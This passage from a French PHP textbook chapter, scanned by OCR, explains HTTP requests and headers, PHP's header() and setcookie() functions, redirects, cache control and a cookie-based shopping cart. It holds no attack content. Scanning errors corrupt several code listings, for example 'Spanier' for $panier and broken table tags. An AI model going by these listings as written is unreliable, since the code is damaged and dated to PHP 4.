Berners-Lee (qui est a present president du Consortium du World Wide Web appele 
plus communement W3C). Ce protocole est base sur un systeme de communication 
par requites Ireponses. 



Ainsi, le client se connecte sur le serveur, sur un port specifique (generalement le port 80), pour 
envoyer un message (que Ton appelle requete). Ce dernier doit respecter un schema precis regi 
par une norme : ce doit etre une methode (de type get, post, head, put, del ou trace) suivie 
d'une URI (adresse Internet). Au besoin, le client complete la requete a l'aide d'un message de 
type MIME (Multipurpose Internet Mail Extension). II indique ainsi les informations 
particulieres dont il a besoin, decline son identite (signature du client) et indique la version du 
protocole utilise. 

Le serveur, quant a lui, renvoie ensuite une reponse comprenant un en-tete HTTP comportant 
diverses informations sur le serveur et sur comment le client doit analyser le resultat, suivi du 
corps du document. 




Envoi de la 
requete HTTP 



Serveur 





En-tete HTTP + 
document demande 



Figure 4.1 : On peut schematiser une requete HTTP comme ceci 

Le client envoie done un en-tete HTTP comprenant dans l'ordre : 

Une ligne de requete : elle comprend le type de document demande ainsi que la methode 
et la version du protocole qu'il lui est demande d'utiliser. Cette ligne peut etre schematised 
comme ceci : <methode> <url> <version>. 
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Tableau 4.1 : Les differentes methodes pouvant etre utilisees 
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Methode Signification Version 

post La methode post est utilisee pour une soumission de http/ l . o 

donnees vers une URI cible. 

get La methode get est utilisee pour recuperer un contenu http/ l . o 

identifies par I'URI specified. 

head La methode head est identique a la methode get sauf http/ l . o 

qu'elle ne reclame que I'en-tete du document specifies. Le 
document lui-meme n'est ainsi pas renvoye. 

put Permet le depot d'un fichier donne directement sur le serveur http/ l . l 

distant. 

delete Commande demandant au serveur distant de detruire un http/ l . l 

document indique a I'URI specified. 

trace La methode trace permet au client de voir ce qui est regu http/ l . l 

par le serveur. Son utilisation est utile dans les phases de test 
ou de diagnostic. 

connect Cette methode est reservee pour une utilisation par un proxy http/ l . l 
pouvant dynamiquement etre bascule vers un tunnel (ex. : un 
tunnel SSL). 

Les en-tetes de la requete (autant de lignes que necessaire) : ces lignes facultatives (hormis 
l'information Host dans le cas du protocole http/i.i) permettent de donner des 
informations complementaires a la requete, comme l'origine du client et l'identification 
(ou signature) de ce client (nom du navigateur, systeme d'exploitation, etc.). Ces 
informations (une par ligne) sont donnees comme un identifiant suivi immediatement de 
deux points '-.', une espace et de sa valeur : <identifiant>: <valeur>. 



Tableau 4.2 : Exemple d'en-tetes pouvant etre utilises 



Identifiant (en-tete) 

Accept 



Signification 

Type de contenu que le navigateur est susceptible d'accepter (ex. 

text/html, audio/x-aif f , image/ jpeg, etc.). 



Accept-charset Le type de caractere que le navigateur attend en reponse (ex : ISO-8859-1) 

Date 

From 

Host 

Ref erer 

User-Agent 



Date et heure du client (ex. : Sat, 27 Apr 2002 15:59:53 GMT) 

Specifie une adresse e-mail pour le client. 

Nom de la machine cliente. 

Adresse de la page depuis laquelle la requete a ete effectuee. 

Chafne d'identification du client (ex. : Moziiia/5 . ooi [windows; 

U; NT4.0; en-us] Gecko/2 52 50101 pour un navigateur 

Mozilla sur un systeme Windows NT4.0). 
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RENVOI 



Vous pouvez vous reporter a V annexe "En-tetes et variables externes" pour une liste 
plus complete d' en-tetes. 



Le corps de la requete : ces lignes sont utilisees dans le cas d'une methode de type post 
pour l'envoi de donnees (comme les parametres d'un formulaire). 

Comme aucune explication ne vaut un bon exemple, ouvrez un client telnet en ligne de 
commande, 

telnet www.linux.org 80 

et tapez la commande suivante : 

GET / HTTP/1.0 



Pour valider votre requete, finissez en tapant deux fois sur la touche | Entree] . 



REMARQUE 



he client telnet de Windows 

Notez que le client telnet de Windows ne permet pas de visualiser ce que vous rentrez 
depuis le clavier. Alors, ne vous trompez pas dans la commande, et respectez bien les 
majuscules et minuscules. 



Figure 4.2 : 

Void une page telle 
qu'elle est envoy ee par 
un serveur web 





Vous voyez apparaitre la reponse du serveur (ici, le code source de la page). Ce qui nous 
interesse dans le cas present, ce sont les premieres lignes de ce document, a savoir l'en-tete de 
la page. Si vous voulez ne voir que cet en-tete, rentrez la commande head / http/i . o. Ainsi 
seul l'entete renvoye par le serveur s'affichera dans le client telnet. 

HTTP/1.1 200 OK 

Date: Sat, 27 Apr 2002 15:59:53 GMT 

Server: Apache/1.3.24 (Unix) (Red-Hat/Linux) mod_ssl/2.8.8 0penSSL/0.9.6b 

x mod_perl/1.26 

Cache-Control : max-age=60 

Expires: Sat, 27 Apr 2002 16:00:53 GMT 
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Pragma: no-cache 
Connection: close 
Content-Type: text/html 

<HTML> 



Vous remarquez qu'il y a une ligne vide entre l'en-tete et le corps du document. C'est ce saut de 
ligne qui signale la fin de l'en-tete HTTP et indique que ce qui suit est le corps du document. 
Ainsi, une fois envoye, l'en-tete ne peut plus etre modifie. Vous verrez dans ce chapitre que le 
langage PHP permet des modifications de l'en-tete, mais cause une erreur si vous essayez de le 
modifier apres Tenvoi du debut du document. 

Vous pouvez executer a present, toujours a l'aide de votre client telnet, la commande suivante : 

telnet www.linux.org 80 
GET / HTTP/1.1 
host:www. linux.org 

Comme indique precedemment, le protocole http/1.1 reclame une information 
supplemental host. En effet, cette derniere mouture de HTTP a permis l'adoption des notes 
virtuels, c'est-a-dire que plusieurs noms de domaines peuvent se partager une meme adresse IP. 
D'autres avantages du protocole 1.1 sur le 1.0 sont repertories dans la RFC2616. 



© 



Les RFC 

Pour toutes les informations complementaires sur les protocoles http/1 . et http/ 
INTERNET 1 . i, consultez les RFC (Request For Comment). Ces documents ont la particularity 
de representer une notice pour une documentation generale, un standard ou la 
description d'un protocole. II est a noter que I'ecriture meme d'une RFC est definie 
dans une autre RFC (la RFC1543). 

Pour HTTP/1.0, la RFC1945 est disponible a I'adresse http://abcdrfc.free.fr/rfc-vf/ 
rfc1945.html (traduction francaise). 

Pour HTTP/1.1, la RFC2616 est disponible (en anglais) a I'adresse 
http://www.w3.org/Protocols/rfc2616/rfc2B1B.html. 

Ces documentations tres completes vous apprendront tout ce qu'il faut savoir pour 
effectuer un echange de donnees entre un navigateur Internet et un serveur web. 

Voyons a present ce que signifie cette reponse (i.e. comment le navigateur interprete ce 
message). 

La premiere ligne indique le code de retour. Ici le code 200 signifie que tout s'est bien 
passe. Tous les internautes connaissent au moins un autre code : le tristement celebre 404, 
qui comme vous le savez, signifie que le serveur n'a pas trouve la page demandee. 
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Tableau 4.3 : Les differentes categories de code que peut renvoyer un serveur web et leurs 
significations 



Intervalle de code 


Signification 


100-199 


Les informations sont retournees. 


200 - 299 


La requete a ete traitee avec succes. 



300 - 399 
400 - 499 
500 - 599 



Demande de redirection. 
La requete est incomplete. 
Indique une erreur du serveur HTTP. 



RENVOI 



Vous pouvez vous reporter a ['annexe sur les "Codes d'erreur HTTP" pour une liste 
plus detaillee. 



Puis vient une serie de valeurs precedees par un nom de parametre. Avant de poursuivre, voici 
quelques parametres d'en-tete possibles. Cette liste est non exhaustive, mais comprend les 
parametres les plus courants qu'un serveur peut renvoyer. 

Tableau 4.4 : Quelques-uns des messages que peut renvoyer un serveur dans son en-tete 



Identifiant d'en-tete 

Content -Encoding 



Description 

C'est le type de codage du document renvoye (ex. : compress, 

x-gzip, x-zip, etc.). 




Content -Language 



Content-Length 



C'est le langage utilise dans le corps de la reponse ("fr" pourfrangais, 
"en" pour anglais, "it" pour italien, etc.). 

C'est la longueur de la reponse. Cette valeur est donnee en octets. Cette 
donnee permet au client d'etre certain qu'il a bien regu la totalite du 
document. 



Content-Type 

Date 

Expires 



C'est le type MIME du document (ex. : text/html, image/gif , 

application/postscript, text/plain, audio/basic, 
video /mpeg, etc.). 

Date du serveur au debut du transfert des donnees. 

Date limite de validite du document (particulierement utile dans le cas de 
('utilisation d'un cache). 

Location Demande la redirection vers une nouvelle URL. 



Server 



Nom ou signature du serveur qui renvoie les informations. 



RENVOI 



Vous pouvez vous reporter a V annexe "En-tetes et variables externes" pour un liste plus 
complete d' en-tetes. 
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Nous pouvons maintenant revenir a notre exemple et analyser sa reponse. Cet en-tete nous 
apprend done plusieurs choses : 

La deuxieme ligne de notre exemple indique simplement la date et l'heure du serveur web. 

La ligne suivante est la signature du serveur web. Dans notre exemple, le serveur 
hebergeant le site de Linux.org nous signale qu'il tourne sous le systeme d'exploitation Linux 
(est-ce etonnant ?) avec le serveur Apache et que celui-ci est compile avec les modules SSL 
et Perl. 

La ligne cache-control n'est valide que pour la version 1.1 du protocole HTTP. Cette 
ligne indique comment un client, et en particulier un proxy cache, doit traiter cette page (si 
le proxy doit mettre en cache la page, la relire a chaque fois, et combien de temps le cache 
de la page est valide. Ici, la page peut etre archivee pendant 60 secondes au plus.) 

Pour les navigateurs utilisant le protocole HTTP/1.0, le serveur renvoie deux lignes a la 
suite qui permettent de definir la gestion du cache et la duree de celle-ci. 

Enfin, la ligne Content-Type indique a votre client web le type MIME de ce qui lui est 
envoye. Cela peut etre du texte, de l'HTML, une image, un fichier son, etc. 



RENVOI 



» Vous pouvez consulter V annexe sur "Les types MIME" pour une liste plus complete 
des types. 



4.2. Gestion personnalisee de l'en-tete HTTP 

D'une maniere generale, avec PHP, il est possible de preciser la valeur des parametres specifies 
dans l'en-tete, grace a la fonction header ( ) . 



header () 

Specifie un element de T en-tete de la reponse HTTP. 

Syntaxe void header (string $ligneEntete [, boolean $remplace [, int 

$reponseHTTP]]) 

$1 i gneEntete Information a ajouter a l'en-tete. 

$remplace TRUE si cette ligne doit remplacer la valeur donnee precedemment au 

meme parametre d'en-tete, FALSE (par defaut) si elle doit etre ajoutee. 

$reponseHTTP Permet de forcer la reponse HTTP (par exemple 404 pour simuler une 

page manquante). Cette option est apparue avec la version 4.3.0 de PHP. 



A Headers already sent. . . 

^^^ Comme cela a deja ete evoque, des que des informations (corps du document) sont 

ATTENTION envoyees au navigateur, l'en-tete est envoye au prealable. Par consequent, il n 'est plus 

question, a ce moment-la, de demander des modifications de cet en-tete. 
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AConcretement, vous ne devez absolument pas "afficher" le moindre message avant un 
appel a header ( ) . Done : pas de echo ( ), print ( ), etc., pas de message d'erreur et 
ATTENTION aucun code HTML ou texte quelconque, en dehors des balises < ?php ... ?>. 

Faites egalement attention a ne pas laisser trainer d'espaces ou de ligries blanches 
avant ou apres les balises <?php ... ?> des fichiers inclus avant V appel a 
header ( ). 

Si besoin, vous disposez d'une fonction permettant de determiner si l'en-tete a deja ete envoye 
au client. 



headers_sent() 



Teste si l'en-tete HTTP a deja ete envoye au client. 

Syntaxe boolean headers_sent( [string &$fichier [, int &$ligne]]) 

$f i chi er Si cette option est passee et qu'il a deja ete ecrit sur la sortie, alors Sfichier 

contiendra le nom du fichier dans lequel l'ecriture a commencee (option 
disponible depuis PHP 4.3.0). 

$1 i gne Si cette option est passee et qu'il a deja ete ecrit sur la sortie, alors Sligne 

contiendra le numero de la ligne dans lequel l'ecriture a commencee 
(option disponible depuis PHP 4.3.0). 

retour TRUE si l'en-tete a deja ete emis, FALSE sinon. 

Voici un court exemple de cette fonction : 

<?php 

// rien ne va sur la sortie 

for ($i=0; $i<10; $i++) { 

// ici encore, rien n'est "ecrit" 

} 

$fichier="none"; 

$ligne=0; 

echo "Par contre la 1'entete est envoye a cause de echo()\n"; 

if (headers_sent(&$fichier, &$ligne)==true) 

echo "L'entete a ete envoye par $fichier a la ligne $ligne\n"; 
else 
echo "L'entete n'a pas ete envoye\n"; 
?> 

Dont le resultat serait le suivant : 

Par contre la l'entete est envoye a cause de echo() 

L'entete a ete envoye par c:\program files\apache 

x group\apache\htdocs\tests\headers_sent.php a la ligne 9 

Les exemples d'applications sont nombreux ; nous en detaillerons trois dans ce chapitre. 
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Redirection 

II n'est pas rare d'avoir a rediriger le visiteur vers telle ou telle page en fonction de certains 
parametres. Par exemple, si le visiteur est un homme, il peut etre interessant de l'envoyer vers 
le rayon homme d'un magasin de vetements. 

L'utilisation des en-tetes permet, entre autres, ce type de manipulation. Pour cela, il suffit 
d'utiliser l'en-tete Location avec, pour parametre, l'adresse vers laquelle rediriger le 
navigateur. 

Voici la syntaxe de la reorientation vers http://www.php.net: 

header("Location: http://www.php.net") ; 

La version 1.1 du protocole HTTP necessite, comme parametre, un chemin absolu. Si vous 
souhaitez faire une redirection au sein meme de votre serveur vers un chemin relatif a la 
position du script appele et etre conforme a cette norme, voici un moyen de transformer une 
adresse relative en chemin absolu a l'aide du langage PHP. 

header ( " Locati on : http ://" . $_SERVER [ ' SERVER_NAME ' ] 
. "/" .di rname($_SERVER[ ' PHPJELF'] ) 
. "/" - $chemi n_rel ati f ) ; 



PHP se charge non seulement d'envoyer l'en-tete au navigateur, mais il lui retourne egalement 
eo le code 302 correspondant a redirect. 

II est egalement possible de retourner directement un code au navigateur. Si vous voulez 
renvoyer le code 404 correspondant au code d'erreur d'un fichier inexistant, il suffit d'ecrire : 

header("HTTP/1.0 404 Not Found"); 

Voici un exemple de script redirigeant le navigateur du client en fonction du sexe de la 
personne ; on imagine que la variable $sexe a ete indiquee precedemment. 

<?php 

if ($sexe == "homme") { 

header("Location: rayon_homme.html ") ; 
} else { 

header("Location: rayon_femme.html ") ; 

} 
?> 



Declaration du type MIME 



PHP est principalement utilise pour generer du code HTML mais, comme nous le verrons par 
la suite, il permet egalement de generer toutes sortes de documents et notamment des images. 

Or, par defaut, la configuration de PHP veut que le serveur declare que le document emis est 
un document de type text/html. Dans tous les cas ou le document emis n'est pas une page 
HTML, il convient done d'en preciser le type, comme dans l'exemple suivant (s'il s'agit d'une 
image gif) : 

header("Content-type: image/gif") ; 
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} ' Vous pouvez vous reporter a V annexe sur "Les types MIME" pour avoir une liste plus 
complete des valeurs possibles. 



Gestion des caches (des navigateurs) 



Generalement, les navigateurs (et eventuellement les systemes intermediaries comme les 
proxys) utilisent des caches pour stocker localement des documents (HTML, images, etc..) 
recuperes afin de ne pas avoir a les redemander aux serveurs lorsque ceux-ci sont rappeles (ex. : 
un logo que Ton trouve sur toutes les pages). 

Si cela accelere grandement l'affichage des pages d'un site, il arrive qu'en certaines 
circonstances cela devienne un probleme. 

Le cas de figure le plus flagrant est certainement celui ou le document est conserve une semaine 
dans le cache du navigateur, alors que vous mettez a jour la page quotidiennement. En fait, les 
navigateurs sont generalement configures pour verifier une fois par jour si le document 
demande differe de celui du cache. De ce fait, quelle que soit votre facon de proceder en tant 
que concepteur de sites web, vous etes relativement a l'abri d'une plainte de ce cote-la. Le 
probleme est plus "grave" si certains de vos scripts retournent un resultat different en fonction 
de variables de sessions ou de donnees externes (base de donnees) qui varient d'un instant a 
l'autre, car l'appel au script, lui, ne varie pas (pas de parametre get different d'un appel a 
l'autre et pas de parametre post). Le nom et les parametres du script ne variant pas, le 
navigateur ira systematiquement prendre la version disponible dans le cache au lieu d'aller 
chercher sa nouvelle variante. 

Dans ce cas, il est done preferable de demander au navigateur (et autres proxys) de ne pas 
garder de version du document dans son cache, grace aux appels suivants : 

header("Cache-Control : no-cache") ; 
header ("Pragma: no-cache"); 



4.3. Cookies 

Les cookies ont ete introduits par la societe Netscape dans le but de stocker des informations 
sur la machine cliente, ce qui permet de personnaliser un site en fonction de l'identite et des 
preferences du visiteur. 

Ces cookies contiennent les informations que le client a bien voulu communiquer (en ayant, par 
exemple, repondu a un questionnaire sur ses gouts). Votre site peut alors tres bien se servir de 
ces informations pour faciliter le parcours du visiteur. Un site de vetements peut, par exemple, 
demander le sexe du client et le style de vetements qu'il recherche pour ensuite le rediriger 
directement (et ce a chaque nouvelle connexion) vers le rayon sport homme si cela correspond 
au profil enregistre dans le cookie. 

^^ Plus (['informations sur les cookies 

C2R Les cookies sont definis dans la RFC 2109 disponible en anglais a I'adresse suivante : 

internet http://www.faqs.org/rfcs/rfc2109.html ou encore 

http://www.netscape.com/newsref/std/cookie_spec.html. 
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Generalites 
Utilisation 

Les cookies doivent etre utilises pour des informations de faible importance (pour compter, par 
exemple, le nombre de visites d'un client). Un bon site doit pouvoir se passer des cookies pour 
fonctionner : on peut les utiliser, mais cela ne doit pas mettre en peril le fonctionnement du site 
si l'utilisateur les refuse. 

En effet, il faut avoir a l'esprit que les informations sont stockees cote client, d'ou l'absence de 
garantie de perennite des informations. 

Chaque navigateur a son propre systeme de gestion des cookies : deux navigateurs sur la 
meme machine impliquent deux systemes de gestion des cookies (information en double et 
problemes de mise a jour...). 

Du fait que l'utilisateur peut lui-meme changer la valeur des cookies, le programmeur n'a 
aucune garantie de "last value" (c'est-a-dire que Ton ne peut pas etre certain de recuperer 
la valeur qui a ete stockee precedemment). 

Enfin, la fonction de gestion des cookies peut etre activee ou desactivee au niveau du 
navigateur ou simplement refusee par le visiteur. 



£ Fonctionnement 



Les instructions permettant la gestion des cookies sont placees dans les en-tetes HTTP. Lors de 
1'ecriture d'un cookie, le serveur envoie la requete HTTP et le navigateur se charge d'ecrire ou 
de modifier le cookie. 



Stockage 

Les cookies sont stockes de facon differente sur les divers navigateurs. Pour n'evoquer que des 
deux principaux navigateurs, Internet Explorer utilise un fichier recensant tous les cookies et un 
fichier par cookie, tandis que Netscape utilise un seul fichier pour tous les cookies. 



Creation 

Pour que le serveur demande la creation d'un cookie sur le poste client, l'en-tete de la reponse 
HTTP doit contenir une ligne avec la syntaxe suivante : 

Set-Cookie : <NOM_COOKIE>=<valeur>; domain=<nom_de_domaine>; expires=<DATE> 

II existe d'autres attributs disponibles pour definir un cookie ; ils sont presentes dans le tableau 
suivant : 
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Tableau 4.5 : Attributs definissant un cookie 



Attribut 



Valeur 



NOM_COOKIE VALEUR_COOKIE 



Expires 



DATE 



Type 

A moins de passer par 
I'encodage URL, le nom et 
la valeur d'un cookie ne 
peuvent pas contenir les 
caracteres point-virgule '■,', 
virgule ',', et espace ' '. 

Date au format : 

Jour_en_anglais , 
JJ-Moi-AA 
HH:MM:SS GMT 

Par exemple : 

Saturday- 
03 -Aug- 02 
09:14:23 GMT 

est une date valide. 



Description 

N0M_C00KIE est le seul 
attribut obligatoire. 



Expires permet de 
definir une date de validite. 
Une fois cette date passee, 
la valeur du cookie ne doit 
plus etre prise en compte 
et le cookie peut etre efface 
par le navigateur. 



Domain 



Nom de domaine 



Path 



Chemin 



Adresse Internet contenant 
deux fois le caractere point 
(•)■ 

Xxx . XXXXXXX . XXX 

Par exemple : 
www.toutestfacile.com est 
une adresse valide ; 
php.toutestfacile.com egale- 
ment. 

/chemin/ 

Par exemple : 
/php/ est valide. 



Si le nom de domaine est 
laisse vide (c'est 
generalement le cas), le 
nom du serveur appelant est 
assigne par defaut. II n'est 
possible de specifier que 
son propre nom de domaine 
ou de sous-domaine. 

Cet attribut permet de 
definir un sous-repertoire 
oil le cookie est valide, afin 
de reduire son champ 
d'action. En effet, en 
specifiant I'attribut path, 
le cookie ne sera 
accessible que dans le 
sous-repertoire defini. 



Secure 



Aucun 



Cet attribut permet de 
specifier que le cookie ne 
pourra etre envoye que si la 
connexion est securisee 
par SSL ou S-http. 




A 



ATTENTION 



Les limites des cookies 

Un cookie ne pourra exceder 4 Ko. 

Un client ne pourra gererplus de 300 cookies. 

Un serveur ne pourra creerplus de 20 cookies sur un client. 
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Acces 

Quand un client se connecte sur un site pour lequel il possede deja des cookies, ceux-ci sont 
directement envoyes dans l'en-tete de la requete HTTP. Ce dernier contient alors une ligne 
ayant l'aspect suivant : 

Cookie : <NOMl>=<valeurl> ; <N0M2>=<valeur2> ; ... 

Le moyen de recuperer cette information dependra alors du script utilise (CGI, ASP, PHP, 

etc.). 



JJy Disponibilite 

^^^ Un cookie n'etant disponible que lorsque le client le communique au serveur, un 

ATTENTION cookie defini dans un script ne sera disponible que des scripts charges par la suite (et 
non pas dans la page courante). 



En PHP 

Pour envoyer un cookie, il suffit d'utiliser la fonction setcookie ( ) . 



setCookie() 



Definit un cookie qui sera ajoute aux autres elements de Ten-tete HTTP. 

Syntaxe boolean setCookie (string $nomCookie [, string $valeurCookie [, 

int $dateExpiration [, string $chemin [, string $domaine [, 
boolean $securite]]]]]) 

$nomCookie Nomdu cookie. 

$valeurCookie Valeur du cookie. 

$dateExpiration Date d'expiration du cookie (vous pouvez indiquer NULL si vous ne 
souhaitez pas specifier ce parametre). II doit s'agir d'un 'timestamp' UNIX 
tel que peuvent retourner les fonctions time ( ) ou mktime ( ) . 

$chemi n Repertoire de validite du cookie dans le site (vous pouvez indiquer NULL 

si vous ne souhaitez pas specifier ce parametre). 

$domaine Domaine de validite du cookie (vous pouvez indiquer NULL si vous ne 

souhaitez pas specifier ce parametre). 

$securite TRUE si vous souhaitez que ce cookie ne soit communique que lors de 

Tutilisation de connexions securisees (SSL ou S-HTTP), FALSE (valeur 
par defaut) sinon. 

retour TRUE en cas de succes, FALSE sinon. 

Seul l'attribut $nomCookie est obligatoire. Si c'est le seul attribut defini, alors le cookie 
correspondant sera detruit sur la machine cliente. 



264 



Cookies 



REMARQUE 



setCookie (), header (), mime combat 

Utiliser setCookie ( ) revient a specifier des donnees de Ven-tete. La remarque que 
Von a vue pour la fonction header ( ) s 'applique done la aussi : aucun element du 
document ne doit avoir ete emis avant Vappel a setCookie ( ). 



ATTENTION 



Erreurfrequente 

Les cookies doivent etre effaces avec les memes parametres que lors de leur creation. 



REMARQUE 



Ordre d'appel 

En PHP 4 les appels a setCookie ( ) se font dans I'ordre naturel, de haut en bas, 
alors qu'en PHP 3 les appels sefaisaient dans I'ordre inverse. Ainsi, pour effacer un 
cookie avant de declarer une nouvelle valeur, il faut mettre {'insertion avant 
I'effacement en PHP 3 etfaire le contraire en PHP 4. 



Voici quelques exemples de creation de cookies : 

// exemple simple sans date de validite 

setcookie("test", "ceci est un test"); 

// exemple d'un cookie valide pour une heure 

setcookie("test", "ceci est un test", time()+3600) ; 

// exemple d'un cookie valide uniquement 

// dans les pages securisees de http://www.toutestfacile.com/php 

setcookie("test", "ceci est un test", NULL, 

"/php/", ".toutestfacile.com", TRUE); 

Une fois le cookie defini, son contenu est disponible lors de l'appel des scripts suivants, 
directement dans $_cookie[ "nomDuCookie" ] (ou dans $http_cookie_vars 
[ "nomDuCookie" ] pour les versions de PHP<4.1.0). 




A 



ATTENTION 



Du passe faisons table rase 

Dans les versions de PHP anterieures a 4.2.0, la configuration par defaut fixait le 

parametre register _globals du fichier php.ini a on (active). Pour des raisons de 

securite (evoquees dans le chapitre traitant des variables externes) cela n 'est plus le 

cas. 

Avec I'option register _globals activee, le contenu du cookie etait directement 

disponible dans une variable portant le nom du cookie ($ nomDuCookie). 



RENVOI 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 
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Un tour de magie a connaitre 

pj^t) Pardefaut, le fichier de configuration php.ini active I'option magic_quote_gpc, etceci 
REMARDJE pour les parametres GET, POST et les cookies. Ceci a pour effet d'automatiquement 
"echapper" les apostrophes. Autrement dit, cela ajoute un anti-slash devant les 
apostrophes des parametres passes par les methodes GET, POST et les cookies. 
Si c 'est tres pratique pour stocker le parametre en base de donnees, cela peut devenir 
genant pour un affichage dans le document. Si vous souhaitez supprimer ces 
anti-slashes, il vous suffit d'appliquer la fonction stripSlashes ( ) sur ces valeurs. 

II est possible de stocker directement plusieurs valeurs d'un tableau. Un cookie sera cree par 
entree dans le tableau. Au moment de recuperer ces valeurs, il suffira d'y acceder comme pour 
n'importe quel autre tableau. 

Par exemple, pour stocker ce tableau contenant trois valeurs : 

setcookie ("tableau[un] ", "valeurl"); 
setcookie ("tableau [deux] ", "valeur2"); 
setcookie ("tableau [trois] ", "valeur3"); 

Pour afficher ces valeurs, il suffit d'ecrire : 

while (list ($cle, $valeur) = each ($_COOKIE["tableau"])) { 

echo "$cle: $valeur<br>\n" ; 
} 



Exemple utilisant des cookies 
Mise en situation 

L'exemple est celui d'un magasin d'instruments de musique voulant offrir la possibility a ses 
clients de mettre des articles dans un panier virtuel (les utilisateurs refusant les cookies ne 
pourront pas utiliser ce panier). 

Les fonctionnalites de ce panier virtuel seront simples. II faudra etre en mesure d'ajouter des 
articles un a un, de vider le panier et de calculer le montant total des articles contenus dans le 
panier. Pour simplifies on considerera que ce vendeur ne propose que trois articles : une 
guitare, une basse et une batterie (ce qui est suffisant pour monter un groupe). 

Les informations liees au panier seront stockees dans des cookies sous la forme d'un tableau. 

Agencement des fichiers 

Pour cet exemple, nous utiliserons quatre fichiers : 

■ Une page d'accueil 'accueil . html'. 

Une page d'initialisation 'initialisation. php' qui sera en charge d'initialiser les 
cookies permettant la gestion du panier. 

Une page pour ajouter un article 'a j out_article . php', cette page sera la page principale 
pour l'interface, et c'est la que l'utilisateur ajoutera des articles, videra son panier ou 
calculera le montant de celui-ci. 
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Une page pour calculer le montant total du panier 'ca.lcul_total.php'. Ce fichier 
calculera la somme des montants des articles presents virtuellement dans le panier. 
L'utilisateur aura alors le choix d'ajouter d'autres articles ou de vider son panier. 

Voici un graphe representant les interactions entre les differents scripts. 



calculjotal.php 




Figure 4.3 : 

Les differents appels 



accueil.htm propose un lien vers initialisation.php. 

initialisation.php redirige vers ajout_article.php apres avoir initialise les donnees. 

ajout jirticle.php propose un lien vers initialisation.php pour reinitialiser les donnees. 

A chaque ajout d'article, ajoutjirticle s'appelle lui-meme pour se mettre a jour. 

ajout jirticle propose un lien vers calculjotal.php. 

Et calculjotal.php propose des liens vers initialisation.php (pour repartir de zero) et 
ajout jirticle.php (pour completer le panier). 




Contenu des fichiers 
accueil.html 

Listing 4.1 : accueil.html 

<html> 
<head> 

<title>Mon magasin de musique</title> 
</head> 

<body bgcolor="#FFFFFF"> 
<p align="center"xh»Bienvenu chez MusicAGogo! ! !</bx/p> 
<p al ign="center">Votre panier est vide</p> 
<p al ign="center"> 

<a href="initialisation.php">cliquer ici pour le remplir </a> 
</p> 
</body> 
</html> 
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Le script d'accueil est une simple page au format HTML, avec un lien vers le script 
d'initialisation des cookies. 

initialisation.php 

Listing 4.2 : initialisation.php 

<?php 

setCookie("panier[guitare] ", 0) ; 

setCookie("panier[basse]", 0) ; 

setCookie("panier[batterie] " , 0) ; 

header("Location: ajout_article.php") ; 
?> 

Le script d'initialisation met a zero le tableau qui representera notre panier. Une fois les trois 
valeurs du tableau initialisers, le navigateur du client est redirige vers la page de l'interface 
principale. 

Comme nous 1'avons dit precedemment, la gestion des cookies est appelee avant toute autre 
fonction d'en-tete. 

a) out_article.php 

Listing 4.3 : ajoutarticle.php 

<?php 

$panier=$_COOKIE["panier"] ; 
switch (@$_GET["ajout"]) { 
case "guitare": 

$panier["guitare"]++; 

setCookie("panier[guitare] " , $panier["guitare"] ) ; 

break; 
case "basse": 

$panier["basse"]++; 

setCookie("panier[basse] " , $panier["basse"] ) ; 

break; 
case "batterie": 

$panier["batterie"]++; 

setCookie("panier [batterie] ", $panier[" batterie"]) ; 

break; 

} 
?> 

<html> 
<head> 

<title>Mon magasin de musique</title> 
</head> 

<body bgcolor="#FFFFFF"> 
<table border="4" cellspacing="4" cellpadding="4" align="center"> 
<tr al ign="center"> 
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<td>Ajouter</td> 
<td>Votre commande</td> 
</tr> 

<tr al ign="center"> 
<td> 

<a href="ajout_article.php?ajout=guitare">Une guitare</a> (199E) 
</td> 

<tdx?php echo $panier["guitare"]?> guitare(s)</td> 
</tr> 

<tr al ign="center"> 
<td> 

<a href="ajout_article.php?ajout=basse">Une basse</a> (199E) 
</td> 

<tdx?php echo $panier["basse"]?> basse(s)</td> 
</tr> 

<tr al ign="center"> 
<td> 

<a href="ajout_article.php?ajout=batterie">Une batterie</a> (2499E) 
</td> 

<tdx?php echo $panier["batterie"]?> batterie(s)</td> 
</tr> 
</table> 

<p al ign="center"> 
<a href="initial isation.php">vider mon panier</a> 

</P> 

<p align="center"> 
<a href="calcul_total .php">calculer le total</a> 

</P> 
</body> 
</html> 
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Figure 4.4 : 

Interface principale 



Apres avoir recupere la valeur du tableau contenue dans les cookies, une comparaison est 
effectuee entre la valeur de la variable $a j out et les differentes chaines de caracteres possibles. 
Ensuite, la valeur est incrementee puis stockee a nouveau dans le cookie correspondant. 



269 



CD 



Chapitre 4 Les en-tetes HTTP 



Cette page fait des appels a elle-meme, ce qui permet d'ajouter constamment des articles. Un 
lien vers initialisation.php est disponible, qui a pour effet de remettre a zero le contenu du 
panier. Un autre lien vers le calcul du montant du panier est disponible. 

Comme cela a deja ete signale, la nouvelle valeur d'un cookie n'est disponible qu'apres avoir 
recharge la page ou change de page. Pour afficher dans ce script le nombre exact d'articles 
contenus dans le panier, on ne peut faire appel a la valeur courante du cookie (par $_cookie) ; 
c'est done le contenu de la variable du tableau $panier qui a ete utilise (apres avoir ete 
increments puis stocke). 

calcul_total.php 

Listing 4.4 : calcultotal.php 

<?php 

Spanier = $_C00KIE["panier"] ; 
$total = 0; 

$total += $panier["guitare"]*199; 
$total += $panier["basse"]*199; 
$total += $panier["batterie"]*2499; 



<OJ ?> 

c <html> 
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<head> 

<title>Mon magasin de musique</title> 
</head> 
<body bgcolor="#FFFFFF"> 

<p align="center">Le total de votre panier: 

<?php echo $total?> Euros. </p> 
<p align="center"> 

<a href="ajout_article.php">Modifier mon panier</a> 

</P> 

<p align="center"> 

<a href=" initial isation.php">Vider mon panier</a> 

</P> 
</body> 
</html> 

Ce script tres simple reprend les valeurs stockees dans le panier pour calculer le montant total 
de celui-ci. 

Deux liens sont disponibles : l'un vers l'initialisation (remise a zero) des variables, l'autre vers 
l'interface principale. 
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Figure 4.5 : 

Montant total 



4.4. Sessions 



Les sessions proposees dans PHP depuis la version 4 permettent, comme les cookies, de stocker 
des informations specifiques a l'utilisateur. 

Mais, alors que les cookies permettent de stocker des informations (en petite quantite) sur le 
poste du client pour une periode pouvant aller de quelques secondes a plusieurs semaines, les 
sessions permettent de stocker autant d'informations que necessaire. Pour cela, le serveur 
assigne au client un identifiant unique (appele identifiant de session) lie a une instance de 
navigateur sur une machine (adresse IP) donnee. Du fait que le client peut a tout moment 
arreter et relancer son navigateur ou changer d'lP (apres s'etre deconnecte du reseau Internet), 
